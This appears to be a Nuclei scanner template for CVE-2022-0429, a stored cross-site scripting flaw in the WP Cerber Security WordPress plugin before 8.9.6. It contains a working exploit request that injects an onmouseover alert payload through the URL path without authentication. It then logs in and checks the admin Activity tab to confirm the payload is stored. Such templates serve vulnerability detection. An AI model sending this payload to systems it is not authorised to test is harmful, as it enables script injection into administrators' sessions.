WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Cross-Site Scripting

id: CVE-2022-0429

info:
  name: WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    The WP Cerber Security, Anti-spam & Malware Scan WordPress plugin before 8.9.6 does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard, leading to an unauthenticated stored Cross-Site Scripting vulnerability.
  impact: |
    Unauthenticated attackers can inject stored XSS payloads via unsanitized URL parameters, which execute when authenticated administrators view the Activity tab, potentially stealing session cookies or performing administrative actions.
  remediation: |
    Upgrade to WP Cerber Security version 8.9.6 or later.
  reference:
    - https://wpscan.com/vulnerability/d1b6f438-f737-4b18-89cf-161238a7421b/
    - https://www.wiz.io/vulnerability-database/cve/cve-2022-0429
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0429
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0429
    cwe-id: CWE-79
    epss-score: 0.01378
    epss-percentile: 0.68734
    cpe: cpe:2.3:a:cerber:wp_cerber_security\,_anti-spam_\&_malware_scan:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cerber
    product: wp_cerber_security\,_anti-spam_\&_malware_scan
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,wpscan,wordpress,xss,wp-cerber,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw: # send payload (unauth), content-length is required
      - |
        POST /"/onmouseover=alert(document.domain);// HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 100

        a[b][c][d][e][f][g][h][i][j][k][l][m][n][o][p][q][r][s][t][u][v][w][x][y][z][1][2][3][4][5][6]=12345

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "RID")'
          - "status_code == 403"
        condition: and
        internal: true

  - raw:
      - | #check payload result (auth)
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=cerber-security&tab=activity HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<wbr>/"<wbr>/onmouseover=alert(document.domain);<wbr>/<wbr>/</p>'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100af8fc8abd4a9a906eb4983f8bdf47e4bffb03259bfd7417e6b5f926ab12a2f15022100b9ca57429b65a84b461a4e3415b4c1509c71429f9db157b7aee1f082455d0f83:922c64590222798bb761d5b6d8e72950